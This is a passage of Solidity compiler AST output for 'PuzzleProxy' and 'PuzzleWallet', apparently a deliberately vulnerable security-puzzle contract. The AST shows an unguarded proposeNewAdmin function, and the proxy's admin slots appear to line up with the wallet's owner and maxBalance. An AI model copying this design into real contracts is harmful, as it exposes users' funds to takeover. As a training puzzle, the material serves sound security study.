t_magic_message","typeString":"msg"}},"id":54319,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"458:6:101","memberName":"sender","nodeType":"MemberAccess","src":"454:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54320,"name":"admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54297,"src":"468:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"454:19:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616c6c6572206973206e6f74207468652061646d696e","id":54322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"475:25:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_aa8ec5d8fae9f4324168b2ce12ce357d4c8138c22ffca90f21d943a8359ed9fe","typeString":"literal_string \"Caller is not the admin\""},"value":"Caller is not the admin"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_aa8ec5d8fae9f4324168b2ce12ce357d4c8138c22ffca90f21d943a8359ed9fe","typeString":"literal_string \"Caller is not the admin\""}],"id":54317,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"446:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54323,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"446:55:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54324,"nodeType":"ExpressionStatement","src":"446:55:101"},{"id":54325,"nodeType":"PlaceholderStatement","src":"511:1:101"}]},"name":"onlyAdmin","nameLocation":"424:9:101","parameters":{"id":54316,"nodeType":"ParameterList","parameters":[],"src":"433:2:101"},"virtual":false,"visibility":"internal"},{"id":54337,"nodeType":"FunctionDefinition","src":"525:94:101","nodes":[],"body":{"id":54336,"nodeType":"Block","src":"578:41:101","nodes":[],"statements":[{"expression":{"id":54334,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54332,"name":"pendingAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54295,"src":"588:12:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54333,"name":"_newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54329,"src":"603:9:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"588:24:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54335,"nodeType":"ExpressionStatement","src":"588:24:101"}]},"functionSelector":"a6376746","implemented":true,"kind":"function","modifiers":[],"name":"proposeNewAdmin","nameLocation":"534:15:101","parameters":{"id":54330,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54329,"mutability":"mutable","name":"_newAdmin","nameLocation":"558:9:101","nodeType":"VariableDeclaration","scope":54337,"src":"550:17:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54328,"name":"address","nodeType":"ElementaryTypeName","src":"550:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"549:19:101"},"returnParameters":{"id":54331,"nodeType":"ParameterList","parameters":[],"src":"578:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54356,"nodeType":"FunctionDefinition","src":"625:222:101","nodes":[],"body":{"id":54355,"nodeType":"Block","src":"693:154:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54347,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54345,"name":"pendingAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54295,"src":"711:12:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54346,"name":"_expectedAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54339,"src":"727:14:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"711:30:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4578706563746564206e65772061646d696e206279207468652063757272656e742061646d696e206973206e6f74207468652070656e64696e672061646d696e","id":54348,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"743:66:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_46399053d88f895beac588d4c1103c1319fdb59b4a2a5daf131c4952325ebe34","typeString":"literal_string \"Expected new admin by the current admin is not the pending admin\""},"value":"Expected new admin by the current admin is not the pending admin"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_46399053d88f895beac588d4c1103c1319fdb59b4a2a5daf131c4952325ebe34","typeString":"literal_string \"Expected new admin by the current admin is not the pending admin\""}],"id":54344,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"703:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54349,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"703:107:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54350,"nodeType":"ExpressionStatement","src":"703:107:101"},{"expression":{"id":54353,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54351,"name":"admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54297,"src":"820:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54352,"name":"pendingAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54295,"src":"828:12:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"820:20:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54354,"nodeType":"ExpressionStatement","src":"820:20:101"}]},"functionSelector":"a02fcc0a","implemented":true,"kind":"function","modifiers":[{"id":54342,"kind":"modifierInvocation","modifierName":{"id":54341,"name":"onlyAdmin","nameLocations":["683:9:101"],"nodeType":"IdentifierPath","referencedDeclaration":54327,"src":"683:9:101"},"nodeType":"ModifierInvocation","src":"683:9:101"}],"name":"approveNewAdmin","nameLocation":"634:15:101","parameters":{"id":54340,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54339,"mutability":"mutable","name":"_expectedAdmin","nameLocation":"658:14:101","nodeType":"VariableDeclaration","scope":54356,"src":"650:22:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54338,"name":"address","nodeType":"ElementaryTypeName","src":"650:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"649:24:101"},"returnParameters":{"id":54343,"nodeType":"ParameterList","parameters":[],"src":"693:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54368,"nodeType":"FunctionDefinition","src":"853:113:101","nodes":[],"body":{"id":54367,"nodeType":"Block","src":"919:47:101","nodes":[],"statements":[{"expression":{"arguments":[{"id":54364,"name":"_newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54358,"src":"940:18:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":54363,"name":"_upgradeTo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50074,"src":"929:10:101","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":54365,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"929:30:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54366,"nodeType":"ExpressionStatement","src":"929:30:101"}]},"functionSelector":"3659cfe6","implemented":true,"kind":"function","modifiers":[{"id":54361,"kind":"modifierInvocation","modifierName":{"id":54360,"name":"onlyAdmin","nameLocations":["909:9:101"],"nodeType":"IdentifierPath","referencedDeclaration":54327,"src":"909:9:101"},"nodeType":"ModifierInvocation","src":"909:9:101"}],"name":"upgradeTo","nameLocation":"862:9:101","parameters":{"id":54359,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54358,"mutability":"mutable","name":"_newImplementation","nameLocation":"880:18:101","nodeType":"VariableDeclaration","scope":54368,"src":"872:26:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54357,"name":"address","nodeType":"ElementaryTypeName","src":"872:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"871:28:101"},"returnParameters":{"id":54362,"nodeType":"ParameterList","parameters":[],"src":"919:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":54292,"name":"UpgradeableProxy","nameLocations":["161:16:101"],"nodeType":"IdentifierPath","referencedDeclaration":50095,"src":"161:16:101"},"id":54293,"nodeType":"InheritanceSpecifier","src":"161:16:101"}],"canonicalName":"PuzzleProxy","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54369,50095,47117],"name":"PuzzleProxy","nameLocation":"146:11:101","scope":54598,"usedErrors":[],"usedEvents":[50042]},{"id":54597,"nodeType":"ContractDefinition","src":"970:2019:101","nodes":[{"id":54371,"nodeType":"VariableDeclaration","src":"998:20:101","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"1013:5:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54370,"name":"address","nodeType":"ElementaryTypeName","src":"998:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":54373,"nodeType":"VariableDeclaration","src":"1024:25:101","nodes":[],"constant":false,"functionSelector":"73ad468a","mutability":"mutable","name":"maxBalance","nameLocation":"1039:10:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54372,"name":"uint256","nodeType":"ElementaryTypeName","src":"1024:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":54377,"nodeType":"VariableDeclaration","src":"1055:43:101","nodes":[],"constant":false,"functionSelector":"d936547e","mutability":"mutable","name":"whitelisted","nameLocation":"1087:11:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":54376,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54374,"name":"address","nodeType":"ElementaryTypeName","src":"1063:7:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1055:24:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54375,"name":"bool","nodeType":"ElementaryTypeName","src":"1074:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"public"},{"id":54381,"nodeType":"VariableDeclaration","src":"1104:43:101","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"1139:8:101","scope":54597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":54380,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54378,"name":"address","nodeType":"ElementaryTypeName","src":"1112:7:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1104:27:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54379,"name":"uint256","nodeType":"ElementaryTypeName","src":"1123:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":54403,"nodeType":"FunctionDefinition","src":"1154:168:101","nodes":[],"body":{"id":54402,"nodeType":"Block","src":"1196:126:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54389,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54387,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1214:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":54388,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1228:1:101","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1214:15:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920696e697469616c697a6564","id":54390,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1231:21:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_d3814fd4e72cfd7651525eee846049aca388165c613a1085fb56751abcdd36c0","typeString":"literal_string \"Already initialized\""},"value":"Already initialized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d3814fd4e72cfd7651525eee846049aca388165c613a1085fb56751abcdd36c0","typeString":"literal_string \"Already initialized\""}],"id":54386,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1206:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54391,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1206:47:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54392,"nodeType":"ExpressionStatement","src":"1206:47:101"},{"expression":{"id":54395,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54393,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1263:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54394,"name":"_maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54383,"src":"1276:11:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1263:24:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54396,"nodeType":"ExpressionStatement","src":"1263:24:101"},{"expression":{"id":54400,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54397,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54371,"src":"1297:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":54398,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1305:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54399,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1309:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1305:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1297:18:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54401,"nodeType":"ExpressionStatement","src":"1297:18:101"}]},"functionSelector":"b7b0422d","implemented":true,"kind":"function","modifiers":[],"name":"init","nameLocation":"1163:4:101","parameters":{"id":54384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54383,"mutability":"mutable","name":"_maxBalance","nameLocation":"1176:11:101","nodeType":"VariableDeclaration","scope":54403,"src":"1168:19:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54382,"name":"uint256","nodeType":"ElementaryTypeName","src":"1168:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1167:21:101"},"returnParameters":{"id":54385,"nodeType":"ParameterList","parameters":[],"src":"1196:0:101"},"scope":54597,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54415,"nodeType":"ModifierDefinition","src":"1328:106:101","nodes":[],"body":{"id":54414,"nodeType":"Block","src":"1355:79:101","nodes":[],"statements":[{"expression":{"arguments":[{"baseExpression":{"id":54406,"name":"whitelisted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54377,"src":"1373:11:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":54409,"indexExpression":{"expression":{"id":54407,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1385:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54408,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1389:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1385:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1373:23:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f742077686974656c6973746564","id":54410,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1398:17:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_72830cd2e69a452b3989df2d6c124f1de4827fe8ed6c5116814e4b49c3fcbdd0","typeString":"literal_string \"Not whitelisted\""},"value":"Not whitelisted"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_72830cd2e69a452b3989df2d6c124f1de4827fe8ed6c5116814e4b49c3fcbdd0","typeString":"literal_string \"Not whitelisted\""}],"id":54405,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1365:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1365:51:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54412,"nodeType":"ExpressionStatement","src":"1365:51:101"},{"id":54413,"nodeType":"PlaceholderStatement","src":"1426:1:101"}]},"name":"onlyWhitelisted","nameLocation":"1337:15:101","parameters":{"id":54404,"nodeType":"ParameterList","parameters":[],"src":"1352:2:101"},"virtual":false,"visibility":"internal"},{"id":54438,"nodeType":"FunctionDefinition","src":"1440:184:101","nodes":[],"body":{"id":54437,"nodeType":"Block","src":"1509:115:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54429,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":54425,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1535:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":54424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1527:7:101","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54423,"name":"address","nodeType":"ElementaryTypeName","src":"1527:7:101","typeDescriptions":{}}},"id":54426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1527:13:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54427,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1541:7:101","memberName":"balance","nodeType":"MemberAccess","src":"1527:21:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":54428,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1552:1:101","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1527:26:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"436f6e74726163742062616c616e6365206973206e6f742030","id":54430,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1555:27:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5f88bd6ad656efc3e4dbc871762db3916c5d34b0309c5f2707d91055a539b36","typeString":"literal_string \"Contract balance is not 0\""},"value":"Contract balance is not 0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c5f88bd6ad656efc3e4dbc871762db3916c5d34b0309c5f2707d91055a539b36","typeString":"literal_string \"Contract balance is not 0\""}],"id":54422,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1519:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1519:64:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54432,"nodeType":"ExpressionStatement","src":"1519:64:101"},{"expression":{"id":54435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54433,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1593:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54434,"name":"_maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54417,"src":"1606:11:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1593:24:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54436,"nodeType":"ExpressionStatement","src":"1593:24:101"}]},"functionSelector":"9d51d9b7","implemented":true,"kind":"function","modifiers":[{"id":54420,"kind":"modifierInvocation","modifierName":{"id":54419,"name":"onlyWhitelisted","nameLocations":["1493:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"1493:15:101"},"nodeType":"ModifierInvocation","src":"1493:15:101"}],"name":"setMaxBalance","nameLocation":"1449:13:101","parameters":{"id":54418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54417,"mutability":"mutable","name":"_maxBalance","nameLocation":"1471:11:101","nodeType":"VariableDeclaration","scope":54438,"src":"1463:19:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54416,"name":"uint256","nodeType":"ElementaryTypeName","src":"1463:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1462:21:101"},"returnParameters":{"id":54421,"nodeType":"ParameterList","parameters":[],"src":"1509:0:101"},"scope":54597,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54458,"nodeType":"FunctionDefinition","src":"1630:143:101","nodes":[],"body":{"id":54457,"nodeType":"Block","src":"1677:96:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54447,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54444,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1695:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54445,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1699:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1695:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54446,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54371,"src":"1709:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1695:19:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420746865206f776e6572","id":54448,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1716:15:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_72ec00def0a4f647f10f2a5c1742fab7d53364130edc365182f3ccef5864f2a5","typeString":"literal_string \"Not the owner\""},"value":"Not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_72ec00def0a4f647f10f2a5c1742fab7d53364130edc365182f3ccef5864f2a5","typeString":"literal_string \"Not the owner\""}],"id":54443,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1687:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54449,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1687:45:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54450,"nodeType":"ExpressionStatement","src":"1687:45:101"},{"expression":{"id":54455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54451,"name":"whitelisted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54377,"src":"1742:11:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":54453,"indexExpression":{"id":54452,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54440,"src":"1754:4:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1742:17:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":54454,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1762:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1742:24:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54456,"nodeType":"ExpressionStatement","src":"1742:24:101"}]},"functionSelector":"e43252d7","implemented":true,"kind":"function","modifiers":[],"name":"addToWhitelist","nameLocation":"1639:14:101","parameters":{"id":54441,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54440,"mutability":"mutable","name":"addr","nameLocation":"1662:4:101","nodeType":"VariableDeclaration","scope":54458,"src":"1654:12:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54439,"name":"address","nodeType":"ElementaryTypeName","src":"1654:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1653:14:101"},"returnParameters":{"id":54442,"nodeType":"ParameterList","parameters":[],"src":"1677:0:101"},"scope":54597,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54483,"nodeType":"FunctionDefinition","src":"1779:179:101","nodes":[],"body":{"id":54482,"nodeType":"Block","src":"1831:127:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeId